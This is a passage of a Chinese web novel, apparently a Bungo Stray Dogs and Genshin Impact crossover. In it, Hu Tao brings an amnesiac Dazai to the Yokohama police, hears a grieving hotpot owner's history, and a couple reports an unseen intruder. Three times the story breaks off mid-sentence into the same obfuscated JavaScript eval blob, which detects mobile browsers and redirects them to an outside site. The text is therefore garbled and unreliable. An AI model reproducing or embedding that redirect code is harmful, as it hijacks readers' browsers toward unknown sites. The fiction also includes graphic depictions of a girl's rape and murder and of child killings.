唯独扎克一脸无语,抬头朝天花板狠狠翻了个白眼,浑身说不出的刺挠,难受得仿佛有蚂蚁在爬。 事实证明,尽管某个暴躁绷带头的成语水平比较焚书坑儒(?),但野兽般的直觉绝对可信。 数分钟后,众人分头行动。 胡桃和太宰治先一步出发,瑞伊则像往常一样,和扎克一组。 就在这时,走在最后的瑞伊忽然抬起眼。 少女灰蓝的眼睛安静地望着胡桃和太宰治走远的背影,片刻后,冷不丁冒出一句, “……简·杜。” “什么东西?”扎克一脸问号。 “刚刚那个假名。”瑞伊语气平淡地解释。 “简·杜(Jane Doe),在英文里是‘无名氏’的意思,身份不明的女性会被称为简·杜。而男性,则是叫约翰·杜(John Doe)。”(①) 瑞伊说到这,像是有意给同伴留出思考的时间,暂停了好一会儿。 片刻后,她收回注视的目光,仰头对上青年的眼睛,提示般问道, “扎克,你觉得阿桃提到这个假名,只是偶然吗?” 再直接一点。 既然是撞到脑袋导致的失忆,按理来说,第一件事应该去医院检查才对,但他们的堂主从头到尾有提过一句吗? 那位‘约翰’呢? 再加上不久前,对方故意激怒扎克的举动—— 他真的没察觉到自己露出了破绽? 还是说,他就是故意的? “……” “……” 扎克沉默地与少女对视,三秒后,他像是受不了般‘嘶’地咧开嘴,猛地抬手,烦躁地抓乱头发。 啊啊啊啊!一群满脑子弯弯绕绕的家伙,就不能爽快点,有话直说吗!你们是哑巴吗! ……啧,他不管了! 与此同时,另一边 就在太宰治还在好奇,这位胡堂主打算带他去哪儿,又准备怎么解决难题时,少女欢快地声音从前方传来。 “到啦,就是这了!” 哦,到了。 某个前黑手党干部闻言抬起头,下一刻,一个金光闪闪的徽章和门头,瞬间映入他的眼中。 樱花徽章,上书几个大字—— 【神奈川县横滨中央警署】 5. Episode 5 不愧是你,宰 嗯,到了,不过到的是横滨中央警署。 讲个笑话。 有一天,Port Mafia的五大干部之一,太宰治先生前脚才叛逃老东家,后脚就被蓄意接近的观察对象送到了警局门口。 这换成一般人,不说惊慌失措,至少也该表现出一点点情绪波动才对。 不过很可惜,某位前干部先生从来不是正常人。 “……横滨警署啊。” 警局台阶前,太宰治安静地抬头看了一会儿樱花警徽。 两秒后,他轻声叹了口气。 “我明白了。” 太宰治转头,对胡桃露出一个不舍的温和笑容, “胡堂主,很感谢你这段时间的照顾,接下来我会自己想办法的。” 太宰治看着胡桃,鸢色的眼瞳写满了独立坚强。 一副早已心领神会,当即决定像懂事的走失儿童一样,自己主动报案,乖乖留在警局等待安排,绝对不给人多添一点麻烦。 就是他说话的声音有那么亿·点·低落,听着比路边的流浪的幼猫还要可怜。 嗯,没关系,他都明白。 就算他身无分文,额头还带着伤,什么也不记得了,说不定还处于脑震荡的状态……没关系,又不是小孩子,他能自己照顾好自己。 他明白的。 太宰治心怀理解,高举‘失忆大旗’,绝对没有试图勾起他人罪恶感的意思。 还什么也没来得及解释的胡桃:“……” 哇,她以为自己已经够能说的了,没想到,这边的世界还有高手! 这一刻,即使是身经百战的胡堂主,在见识了太宰治深不可测的下限,和永无止境的脸皮上限后,也感到了深深的震撼。 “……本堂主没有要‘肇事逃逸’的意思。” 胡桃眨巴了一下眼睛,终于从一言难尽的震撼中夺回解释权, “这叫合理利用资源,以逸待劳。” “?” 太宰治的脑袋上方缓缓冒出一个问号。 直觉告诉他,事情的发展好像有点不对,某个堂主小姐的脑回路,貌似有点异于常人。 果然,面对临时同伴疑惑的眼神,胡堂主迅速展示出了令人叹为观止的逻辑, “常言道,在家靠父母,出门靠朋友。如果连朋友也没有,找警察总没错。” 无论是那位‘织田作之助’的身份,还是不小心撞到头,导致失忆的情况……他们与其像无头的苍蝇一样四处乱撞,寻找线索,不如站在原地,让线索主动找上门。 既然是死者,并且匿名的‘老客户’希望举办一场葬礼,就说明那位‘织田作之助’刚去世没过多久。 时间大概率就在近期,警方和法医一定存有相关的资料记录。 如果没有—— 如果官方没有任何记录,也称不上坏事。 那恰好验证了她的一部分猜想。 至于‘失忆’的问题…… “嘿嘿。” 胡桃得意地弯起嘴角,再也无法掩盖隐藏的智慧,对太宰治认真说道, “约翰,我们需要一份警方签署的通缉、咳,说错了,是‘寻人启事’。只要在警局系统留下记录,一旦有符合失踪人口的报案,警方就能马上锁定你! “当然,考虑到你的朋友或家属,可能出于某些原因无法报警,本堂主还准备了另一个方案。” 胡桃说到这,突然停了下来。 她两眼亮闪闪地看着太宰治,示意对方配合的意思溢于言表。 太宰治:“……” 这一次,轮到太宰治产生一种很不好的预感。 他拒绝配合。 直觉告诉他,如果在这里被对方掌握话头,牵着鼻子走,一定会倒大霉。 “胡堂主……” 隐约猜到什么,太宰的治眼皮直跳。 他镇定地维持脸上的笑容,试图转移话题。 可惜,临时同伴的拒绝无法浇灭胡堂主的热情。 胡桃直接抢在太宰治说话以前,先一步从衣袖里掏出一张海报,‘哗啦’一下,欢快打开! “锵锵——!这就是本堂主的第二预案!” “正所谓,鸡蛋不能放在一个篮子里。在拿到警方签署的‘寻人启事’后,咱们就可以登报发表,公开悬赏募集认识你的人。” “横滨日报,晨间早报……当然,除此之外,咱们还可以想办法进一步扩大寻人启事的影响,用一些热闹但免费的办法。” 比如,参加电视转播的大型活动。 瑞伊说过,再过半个月就是横滨一年一度的马拉松大赛,全市电视台全程直升机跟踪转播。 “约翰,我们可以把你的‘寻人启事’印在T恤上,让你和小克一起参加比赛。其他不敢保证,但小克一定能拿下冠军,到时候咱们帮你免费呼吁宣传!” 发动全横滨的力量,帮助失忆的少年找回过去! 当然,如果以上这些还无法成功,她还有最后的终极绝招! 那就是—— 胡桃缓缓吸气。 眼见某个堂主小姐的‘寻人计划’逐渐离谱,但离谱中,又透着一点合理,合理里又带着一丝抽象的执行力…… 这一刻,太宰治的头皮发麻。 他终于意识到自己脑一抽,选了一个多么可怕的接近方案。 失策了,没想到往生堂的堂主竟然是这种性格,必须赶快阻止她! 太宰治有一种强烈的预感—— 真放任胡桃这么畅想下去,未来绝对会变成不得了的情况! 她是认真的!她什么都干得出来! “等等,胡堂主!可以了!那个我其实……” 太宰治拔高音量,试图夺回话语权。 但很可惜,上头的堂主小姐才不管这些。 少女直接大手一挥,从宽大的袖口里取出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14257665|151613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 另一张五彩斑斓的海报,很有精神地在太宰治眼前抖了抖,公布答案, “就是这个,约翰!” “如果以上方案都没成功,咱们就选择这个——【成为偶像吧!超闪亮明日之星选拔赛】!” “别担心,以本堂主的眼光,你一定能通过海选。届时,你只要在电视机前说出寻找记忆的请求,全国观众都是你的人脉!” “咳,就是到那天,有件小小的小事,希望你能帮忙。” 少女兴奋得两眼亮闪闪,一双梅花瞳已经彻底变成了小钱钱的形状。 只见胡桃矜持地咳嗽一声,把手里的海报翻到背面,目光期待地看向太宰治。 太宰治:“……” 太宰治默默低下头,看向了那张海报。 然后,他的视线僵住了。 原因很简单。 那张海报的背面,只写了一句话—— 【横滨往生堂,限时大酬宾,买一送一,购二送三,多购多得。前一百名下单,还能免费获赠一百个小木盒哦(爱心)~】 爱心…… 她甚至还在广告语后面加了一个爱心! 太宰治:“……” 太宰治:“……” 再说一次,是他小瞧往生堂了。 偶像选拔大赛还没开始,某个堂主连怎么插播广告,挖掘潜在客户都想好了。 与此同时,仿佛是连神明都感受到了胡堂主火化人心的热情发言—— 就在两人四目相对,相视无言中,一个欢快的CM音乐声突然从远处传来。 太宰治与胡桃同时转头。 下一刻,一组绚丽的画面瞬间映入他们的视线。 是街对面的电器商店。 一排电视横列展示在橱窗内,屏幕打开,恰好播放到【偶像之星】的节目预热。 屏幕内,上一届的少女冠军组合出现在镜头前。 少女们身姿轻盈,容貌俏丽地对着镜头眨眼,每个唱音都充满了元气和活力。 【“I say——hey!hey!hey! Sart☆Dash!”】 【“和μ‘s一起,响彻舞台,闪闪发光!”】 …… ………… 太宰治:“……” 这一刻,没有人说话,现场的气氛如死一般诡异。 胡桃是因为激动,至于太宰治—— 横滨警局门口,太宰治久久地注视着屏幕上,那个闪闪发光的偶像组合。三秒后,他缓缓转过头,看向胡桃。 这一刻,太宰治再一次展示出了他那缺德带冒烟的下限。 只见他眼神真挚,语气诚恳, “胡堂主,其实,我刚刚恢复了一点记忆,想起了自己的名字。” “总而言之,如果一定要报名马拉松和偶像大赛,就先用‘中原中也’这个名字吧。一定能火化人心,感人肺腑。” “我保证。” 6. Episode 6 峰回路转 最后,伟大的马拉松赞助和偶像计划当然没有执行。 原因当然不是某位前干部突然良心跳动,觉醒了‘做点人吧’的高尚情操,也不是胡堂主放弃了「往生堂」的推广计划,而是更直接的—— “哦!这不是火锅店的店主大叔嘛!” 就在两人一个激情畅想未来,一个疯狂拖前冤种搭档下水时,一道熟悉的身影从警局内走出,引起了胡桃的注意。 是商业街的火锅店大叔。 就在不久前,对方才坚定地拒绝了「往生堂」火化人心的团购业务。 见到发展中的潜在客户,胡桃当即眼睛一亮。 她抬手和人打招呼,却发现大叔像是没听到一样,只是阴沉着脸,一言不发地与自己擦肩而过。 对方自顾自走远,完全不见平日偶遇「往生堂」时,堪比点燃炮仗的暴躁吐槽,和避之不及。 如果只是无视倒无所谓,但对方的表情…… 胡桃忍不住转头,看向店主大叔异常沉默的背影。 “这时候追上去……胡堂主,你发展客户的计划一定能成功哦。” 太宰治的声音旁边传来。 胡桃循声抬起眼,恰好对上太宰治安静的侧脸。 太宰治没有看胡桃。 他两手插在外套的口袋里,目光平淡地落向前方。 明明是很平常的神色,但某一瞬间,胡桃却产生了一种很奇妙的错觉—— 此刻的太宰治,似乎正透过其他人的背影,试图看向一个更远的地方,缅怀一个早已不存在的人。 不过很快,太宰治又恢复如常。 直到店主大叔的背影被人群淹没,他才收回视线,对注视着自己的少女微笑,语气平静得就像在说第二天的早餐, “胡堂主,那个男人快死了。” “最迟三天,他就能和家人团聚。” 胡桃眨巴一下眼睛,有点好奇,“你怎么知道的?” “很简单。” 太宰治轻轻耸了下肩膀,打发时间一样,语气随意地解释道, “现在是下午四点,那个男人经营的是火锅店。按理说,他应该在店里忙着备菜,处理即将到来的晚餐高峰,但他却从警局里走出来。” “排除食物安全、火灾、消防这一类的执照手续,那就只剩下临时通知的个人私情,没猜错的话,应该和过往的案件有关。” 再加上此前胡桃的员工,瑞伊透露出的‘火锅店老板孤家寡人’的情报—— 答案显而易见,案件极有可能涉及对方死去的亲属。 妻子、儿子,或者女儿…… “唔,不过最主要的是——胡堂主,我也看到了他的表情哦!” 太宰治说着对胡桃眨了眨眼睛,玩笑般总结道, “论起这方面,我可是专家中的专家!没人比我更懂即将赴死的人,会露出什么眼神~” 厉害啊。 这一番推理听得胡桃叹为观止,都想给这位‘失忆中’的临时同伴鼓掌了。 事实证明,太宰治的推理虽然称不上是‘十押九中’,至少也是一字不差。 很快,负责接待的熟人警察,就把细节透露个底朝天。 顺便一提,这位熟人,正是被胡桃忽悠得办理了往生堂VIP客户卡的那一位。 “啊,你说竹本先生啊……” “反正也不是什么秘密,胡桃小姐你随便打听一下也就知道了。” 年轻的菜鸟警察抓了抓头发,有点难过地说道, “那是很多年前的案子了。那时候的横滨比现在乱多了,竹本先生的女儿运气又特别不好,她在回家的路上,意外碰到了一伙抢劫的歹徒。” “那几个犯人在抢劫后,又把桃香小姐凌虐致死,之后趁着天黑,把尸体丢进了北边港口的海里。” 女孩的运气糟糕,但警方的却不错。 受害人的尸体没有泡多久,很快,她就被附近的渔民发现,打捞了上来。 说起来,当时他的师傅就是负责调查、通知家属的人。 “那个女孩子……才十四岁啊,刚刚升上中学二年级。” 彼时,老刑警一个人蹲在警局后门,闷头抽了很久的烟,在他的背后,是家属嘶声裂肺的哀嚎。 即使到现在,那位退休的老刑警依旧忘不了,一个中年父亲跪在警局的走廊上泣不成声的样子。 三个月后,在各地逃窜的凶手终于被抓捕归案。 也不知道是报应还是天意,在警方移交看守时,这群犯人半路装病,试图逃跑。 结果人还没跑出多远,就被一辆货运大卡车迎面撞飞,几个人当场被碾成了肉泥。 在那之后,就在所有人都以为,竹本大叔的生活可以继续时,四年后,他和妻子的小儿子惨遭诱拐。 幸运的是,这一次被诱拐的孩童不止一个。 接连不断的儿童走失迅速引起了警方的重视。 为了早日破案,案情一路向上请援,足足一个月后,案件惊动了那位传说中的、有‘千里眼’之称的知名刑警江户川,由对方全权接手。 不出意外,案件很快告破。 只是一路追捕到犯人老巢的横滨警方,终究还是慢了一步。 八个孩子,他们只救下了一个,还是在公路外的泥巴草丛里发现的。剩下的孩子早已被犯人烧成炭,丢进了沼气池。 警方整整打捞了三天,最后只捞上来几块碎骨,以及一个焦黑的长命锁。 在那之后,噩运就像乌云一般,彻底笼罩在竹本大叔的头顶。 他的妻子无法接受一而再再而三失去孩子的打击,因病去世。 不久后,他年迈的母亲也撒手人寰。 最终,原本幸福的一家五口只剩下他一个人。 从某种程度上来说,‘没有一起团购套餐的家人’也算是恰如其分的地狱笑话了。 事实上,横滨警方们一直以为竹本大叔会从此一蹶不振,甚至 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14257666|151613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 步上他妻子的后尘,但谁也没想到,竹本大叔很快振作了起来。 他不仅全程出席了凶手的法庭审判,在得知对方被判处三十年刑期后,又花费一生积蓄在横滨盘下了一家火锅店,一直经营到今天。 直到,今天。 “那个在牢里的人口贩子,他发生了什么?” 听完全部的胡桃,突然开口问道。 “那个犯人死了!” 或许是感同身受的缘故,年轻的菜鸟警察说到这,神情微微一振,不小心露出了痛快的表情。 “我一个同期是狱警。他告诉我,就在昨天,那个人渣终于没捱过室友的‘热情招待’,失足溺死在了便池里!” “哈哈、咳哼。” 差点没忍住笑出来,菜鸟警察赶紧咳嗽一声,恢复冷静,但嘴角的弧度却怎么也压不住,颇有一种欢天喜地,大快人心的意味。 “然后今天,我就把这个好消息告诉大叔啦!” 嗯,真希望得到消息后,竹本先生能开心起来啊! 菜鸟警察喜滋滋地抓着脑袋,一副做了好事,还怪不好意思的模样,完全没注意到对面胡桃仿佛看二愣子的眼神。 倒是一旁的太宰治,难得好心地提醒, “警察先生,我建议你还是趁早转行吧,你大概一辈子也升不了职了。” 顺便,如果他的师傅知道自己教出了这么一个好徒弟,就算一把年纪,也要举着拐杖冲到警局把人打死。 菜鸟警察:“?!” 这人谁啊!为什么突然诅咒他的事业? 他可是立志要成为【警视总监】的男人!然后走上人生巅峰,荣归故里,迎娶胡桃小姐咳咳咳……! 好吧,先不提某个菜鸟警察大概只能靠做白日梦,才能实现的事业与人生野望,一个很简单的问题—— 试问,一个儿女惨死,妻子早逝,父母双亡的男人,是靠着什么才没有崩溃,还能经营火锅店,认真活到今天? 尽管胡桃很想说服自己,是诸如‘爱’‘坚忍不拔的品格’这一类原因。 但很可惜,真正的答案恐怕没那么美好。 是仇恨。 没猜错的话,店主大叔在横滨定居,又刻意买下火锅店经营,恐怕就是等着犯人三十年刑满出狱的那一天。 然后—— 啖其肉,饮其血,烹其骨,以血还血。 唯有这样的仇恨,才能支撑一个举目无亲的男人活到今天。然而,他在第二十年,得知了‘仇人死于狱中’的消息。 复仇的对象死了,那么接下来,他又会怎么做? 想到这,饶是胡桃都忍不住叹了口气,想给某个好心办坏事的笨蛋警察一拳。 “然后呢,胡堂主,你要去阻止他吗?” 在警察一头雾水的注视下,太宰治鸢色的瞳眸盯住胡桃的眼睛,轻声问道。 你要去阻止吗? 去阻止一个失去家人、失去未来,一心求死的人。 7. Episode 7 火化人心生意经 “然后呢,你打算阻止他吗,胡堂主?” 太宰治的目光看来。 他的这一句话不亚于是给「往生堂」主动招惹麻烦,把一个烫手山芋塞到胡桃的头上。 阻止一个绝望的人走向死亡,从来不是一件轻飘飘的简单小事。 从道德律法层面,它的正确性毋庸置疑,但情理上呢? 如果连当事人都再无寄托,将自裁看作是‘一家团圆’的解脱途径,那么作为外来者,他们有资格插手吗? 插手之后呢?是否又有觉悟,背负起对方余生的重量? 毫无疑问,这是个吃力不讨好的大麻烦。 大部分聪明人选择看破不说破,但偏偏某个前干部先生,像是突然失去眼力见一样,故意反其道而行之。 这倒不是想要恶作剧,或是存心刁难人。 事实上,太宰治的举动更像是某种……心血来潮的尝试。 ——看一看,假设一切易地而处,这位往生堂的胡堂主,是否能拦下一个心存死志的人,改变既定的结局。 不得不说,这做法简直是缺德带冒烟。 如果某个暴躁的绷带头在这,估计又要当场暴起,挥起镰刀把太宰治的脑袋扎穿。 幸运的是,堂主小姐一向情绪稳定,且擅长抓住重点。 “阻止?” 听到这一句,沉思中的胡桃回过神。 她松开捏着下巴的手指,神情莫名地看了一眼太宰治,仿佛对方在说什么多余的废话, “这还用说嘛,约翰,店主大叔可是重要的「桃」级客户。” “桃级?” 虽然有二度被创的嫌疑,但太宰治实在想知道,这又是哪儿来的分类方式。 “哼哼,这可是本堂主结合市场特性,专门总结出的宝贵生意经!” 某个堂主小姐两手叉腰,一脸骄傲地分享心得, “按照客人的重要度划分,分为「胡」「桃」「竹」「木」四个等级,等级越高,和业务的联系就密切。” 店主大叔属于「桃」级,横滨警察们属于「竹」级。 至于最高等级的「木」—— “说起来,这边的帮派……唔,是叫‘黑手党’,对吗?” “你看,这个黑手党就很不错。” 胡桃一边说着,还不忘了生动举例, “朝不保夕,随时遭遇意外的职业特性,正是完美的「木」级客户!如果能谈成合作,我们还支持现场回收服务!” “业务范围覆盖横滨绝大部分地区,当然,个别凶险事件要额外收费。” 想想看,客户负责在前面冲锋,咱们在后方常备坚固耐用的‘小木盒’。 保证客户前脚一躺下,后脚就装进‘温暖牢固小家’,真正实现安心、高效、便捷一条龙! 还有谁能比他们更贴心热情,与时俱进? “欸,只可惜……” 胡桃说到这,声音忽然低了下去,无比惋惜地摇头,语气满是惆怅, “这边的黑手党还是太保守了,避讳太多。” 为了迁就对方的职业属性,她还特意选择后半夜行动,在他们大楼周围的电线杆上贴满广告,结果却被清了个干干净净,一点字迹都没留下。 可怜那段日子,她天天手写海报,墨水都用完了一瓶! 某个太保守的前Mafia干部:“……” 很好,破案了。 他就说那段日子,港.黑大楼附近的电线杆上,怎么总出现奇怪的小广告。后勤部门不止一次抱怨,试图抓住捣鬼的人。 可惜,最后都以失败告终。 抓不到人,后勤部只能每天骂骂咧咧,捏着小铲子在那清洗小广告。 这件事实在太过抽象糟心,以至于Lupin酒吧小聚时,连织田作都…… 回忆在太宰治的脑中飞快闪过,让他的神情骤然一顿,但很快,太宰治又收敛起表情,沉默地掐断了那些笑谈的画面。 “更何况,约翰——” 胡桃的嗓音继续传来。 「约翰」 还是这个假名。 显然,某位堂主小姐压根没相信,那个‘中原中也’的称呼。 太宰治看上去也丝毫没有意外,他掀起眼皮,面容安静地与胡桃对视。 然后,他看到了某个一向脱线的堂主小姐,难得收起了脸上的嬉笑。 她注视着自己,神情前所未有的认真。 少女像是在说那位火锅店店主,又似乎是透过这一事件,在承诺其他。 “约翰,咱们往生堂呢,收活人的钱送死人上路,须做到两方都满意。如果那是店主大叔的愿望,咱们当然不会干涉。” 但,‘死人’那一边呢? 他们的愿望,是希望大叔前来‘一家团圆’吗? 太宰治沉默。 “你——” 几秒后,他微微启唇刚想要说什么,然而下一刻,某个堂主眨巴了一下眼睛,嘿嘿一笑,又变回了平日那副古灵精怪的模样。 仿佛此前的认真,不过是昙花一现的错觉。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14257667|151613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >胡桃没有理会临时同伴的反应。 她像是注意到什么,上半身突然一歪,灵活地探头,视线穿过太宰治的身侧,看向了警局门口的方向。 此时,那里正站着一对男女。 男人的情绪激动,不断比划着什么,看起来相当抗拒靠近警局,但女人不为所动,径直甩开男人的手,走了进来。 乍一眼望去,是再普通不过的情侣争吵。 但太宰治却注意到了,比起那对明显藏有秘密的男女,胡桃的视线最先落向的位置,却是女人的身后侧,目光定格在女性接近后腰的高度。 就好像—— 就好像,门口除了那对争吵的男女外,女人身后,还站着一个矮小的‘人’。 然而,同样身处警局的太宰治很肯定,那里除了空气之外,什么也没有。 **** 与此同时,另一边 傍晚,时间17:00分 一阵薄雾如约出现,笼罩在横滨北边港口的海面上。 盛夏的季节,到处都是空调外机吹出的闷热空气,唯独这里反常的阴冷,连呼吸都带着一丝若有若无的铁锈腥臭。 黄昏的光线照下,顿时,四周像是被覆盖上一层血色般,入目皆是一片干涸的残阳血迹。 “——沙,沙沙。” 随着拖曳的脚步,一个年轻女孩骤然出现在无人的港口。 女孩的状态很不好。 她的眸光灰暗,脚步蹒跚,半边脸颊像是被人狠狠扇了一巴掌,青紫地高高肿起。 少女身上的校服被撕得粉碎,勉强盖住身体。行走之间,不断有鲜血涌出,从她布满可怖青紫的大腿根部流下,滴落在地上。 【过来,过来就不疼了。】 【……到这边来。】 一声声低语如母亲温柔的呢喃。 它们从海港的尽头传来,引导着少女朝着薄雾走去,直到走进雾中,爬上石桥,半只脚踩在海岸的边缘。 然后—— 一跃而下。 “哗啦!” 几乎是少女投海的瞬间,一个巨大的黑影猛地破出水面!它张开满是獠牙的嘴巴,猛地将少女拦腰绞碎,尽数吞咽。 一切发生得太快,薄雾盖住了少女的哀鸣。 等到雾气散去,海面又重新恢复了平静,仿佛什么也没发生过。 唯独天边的血色残阳看见了—— 那条一晃而过的、鱼一样的巨大黑影,以及游动间,鱼背上密密麻麻的、鳞片一样陈列堆积的哭泣人脸。 8. Episode 8 恶灵诅咒 与此同时,另一边,横滨警局 事实证明,太宰治的推断没有错,这对被胡桃特别关注的情侣,身上还真藏了不小的秘密。 “姓名,家庭住址,联系方式写在这里。” 办事大厅内,第三窗口的警务员抬头扫了一眼对面的男女,熟练地递上一张表格,示意对方填报信息,同时打开笔录系统。 一男一女来警局报案,还是一方冷脸一方抗拒的神态…… 不需要细问,十有八.九是感情问题,要么就是那方面的经济纠纷。 真是的,这些情侣有矛盾就不能自己解决吗? 鸡毛蒜皮的小事也跑来警局浪费人力,这都17:00点下班了…… 尽管内心疯狂吐槽,但明面上,第三窗口的警务员还是摆出职业微笑。 他对两人点了点头,表示做好了录入信息的准备。 然后下一秒,女方开口的第一句话,就让警务人员一愣,怀疑自己的听力出错了。 “我叫池田萌奈,他是我的未婚夫武藤一诚。” “警察先生,我要报案。我怀疑……有人藏在我们的公寓里。” “藏?什么?” 窗口的警务人员敲键盘的动作一停,一时没反应过来, “池田小姐,你的意思是,你们的公寓遭到了入侵?有歹徒闯空门?” “不是闯空门!” 分明只是一句再寻常不过的询问,池田萌奈却像是受到刺激一样,猛地捏紧手提包的带子,大声反驳。 她试图让自己保持冷静,音量却不受控制地越来越大, “是有人,有人藏在我们的公寓里!” “你明白吗?有一个我不认识的人,他‘住’在我们的公寓里!” “好的,好的,我知道了,总之你先冷静一点。” 警务人员被吓了一跳,赶紧出言安抚。 他给对面的男人使眼色,示意对方帮忙,好歹让自己的未婚妻安静下来。 结果在仔细望向男人后,警务人员惊愕地发现,这位未婚夫的情况更糟。 对方的神情憔悴,像是遭受了连日的恐吓,黑眼圈浓得吓人。他整个人看上去神神叨叨的,即使是身处警察局,男人也坐立难安,时不时紧张地四下张望。 这副模样,警员甚至怀疑对方是不是吸食了什么成瘾药物。 “……” 搞什么?他这是碰上了什么莫名其妙的报案人啊! 警务人员无语凝噎。 但工作当前,他也只能拿出警局该有的素养,丝毫没注意到不知什么时候,有个黑发少女走了过来,拉开隔壁的椅子坐下。 在她身后尾巴似地跟着两个人,其中一个还是自己的同事。 “请详细讲讲吧,池田小姐。” “一、一开始是家里厨房的摆设、垃圾桶的位置都被移动过。” 或许是警方耐心的询问发挥了作用,神情激动的池田萌奈一顿,重新恢复冷静。 她手掌搭在膝盖上,大拇指摩挲着食指关节处的红痣,慢慢往下说,“还有冰箱里的牛奶,面包,布丁……” “这些食物经常消失不见,明明应该还剩下一盒牛奶,结果打开冰箱却怎么也找不到,垃圾桶里也没发现撕开的包装。” 最初,池田萌奈没有将这些细节放在心上,只以为是自己记错了。 但出于女性的直觉,在下一次去超市采购时,她特地留了一个心眼,在买来的包装食物上一个一个贴上便利贴,注明日期和数量。 总共7瓶牛奶,1块芝士蛋糕,10盒布丁。 她和未婚夫约定好,每拿走一份食物,都要把上面的便利贴撕下来留好,再由她统一贴在随身的笔记本上。 当然,武藤一诚最开始听到这个要求时,只以为自己的未婚妻又在玩什么游戏。尽管不想理会,但耐不住女友撒娇,他也就同意了下来。 结果,接下来的日子里什么怪事也没发生。 冰箱里剩余食物的数量正确,贴在记事本上的标签序号没错,日期也能对上。 难道……真是她多心了? 彼时,池田萌奈一一对照着记事本上的便利贴,忍不住自我怀疑。 明明一切正常,但她依然无法彻底安心。 一种说不清的异样始终萦绕在她心头,就像指甲边缘的倒刺,细小却无法忽视。 “好了,别疑神疑鬼的,我们明天不是还约了摄影师吗?” 未婚夫武藤一诚上前拥住人,顺手拿走了女友手里的记事本放进抽屉里, “快点睡吧,小心熬出黑眼圈。难得一次的婚纱照,当然要拍得漂漂亮亮的。” “……嗯。” 池田萌奈迟疑地点了下头,任由恋人关上卧室的灯。 在那之后,就是忙碌的婚前准备事宜。 距离他们的婚礼只剩下一月不到,池田萌奈几乎每天都在工作与各种筹备事项中连轴转,渐渐地,也就把那一根违和的‘倒刺’抛在了脑后。 直到又一周后,武藤一诚的工作临时调动,需要离开横滨几天。 而正是这短短的几天,那根被遗忘的‘倒刺’再一次翻了出来,狠狠扎在了池田萌奈的眼球上。 …… ………… “发、发生了什么?” 警局内,负责记录的警务员忍不住咽了口口水,上身悄咪咪地往后靠,让屁股坐实整张椅子,没敢让背后留出一点空隙。 然后,他终于发现了暗搓搓围在自己身旁的三人。 由于接待处开放式办公的设计,窗口与窗口之间没有设置挡板,只象征性空出一些位置当做间隔。 此刻,警务人员发现,原本坐在隔壁的同僚不知什么时候下班了,取而代之的,是新人刑警的中村。 对方一本正经地坐在椅子上,桌上还摆着一本空白的笔记。 那位被市民日常举报的‘往生堂’坐在对面,一副认真咨询问题的模样,旁边还站着一个面孔陌生的年轻人。 这架势,谁见了都要夸一句认真办公,用心为民。 ……如果这三人的耳朵,没有竖得比兔子还高的话。 被发现的胡桃:“嘿嘿~” 太宰治:笑眯眯 菜鸟刑警中村:“……咳。” 警务人员:“……” 真的吗,中村警察? 往生堂的那位胡堂主就算了,毕竟人家是小姑娘,他也不好说什么,你一个警察也跟着市民瞎起哄? 人小姑娘不懂事,你还不懂规矩吗! 还有这位……呃—— 警务员瞅了眼胡桃身旁的太宰治,然后在对上对方毫不掩饰的开朗笑容后,神情愈发一言难尽。 ……算了,这边的报案人要紧。 思索再三后,警务员选择暂时无视一旁的三双眼睛。 “这一次,是卫生间。” 咨询处对面,池田萌奈还沉浸在回忆中,没有发现异常。 此时,她的嘴唇已经控制不住地发抖,用快哭出来的声音继续说道, “就在一诚出差的第二天,我在卫生间发现了不对劲。” 彼时,早上醒来的池田萌奈像往常一样关掉闹钟,穿着睡衣,一路打着呵欠站在了洗手台前。 她想去拿牙刷,结果一伸手,指尖却碰到一片潮湿。 ……什么东西? 池田萌奈半睡半醒地低下头,发现自己抓到的是未婚夫武藤一诚的牙刷。 牙刷头湿漉漉的,仔细看,还能发现残留在刷毛里湿润的牙膏泡沫。 【牙膏沫……】 池田萌奈出神一般,直愣愣地盯着牙刷头。 就在这时,一个模糊的念头突然从她的脑中冒出,越来越清晰,越来越分明—— 【一诚两天前就去博多出差了,家里只有她一个人。】 【那么,刚刚站在这里,用这把牙刷洗漱的……是谁?】 “……” “……” 那一瞬间,池田萌奈猛地打了一个激灵,彻底从朦胧的睡意中清醒了过来。 她光脚站在卫生间的地板上,两眼直勾勾地瞪着镜子里的自己,整个人如坠冰窖,动弹不得,唯独胸腔内的心脏发疯似地越跳越快。 事实证明,人在精神高度紧绷的时候,听力会变得异常灵敏。 因为,就在那个时候,独自一人在公寓的池田萌奈清楚地听到了,第二个人的脚步声。 ‘啪嗒’地一下。 也是光脚踩在瓷砖上,清晰得——就像在她背后。 ……
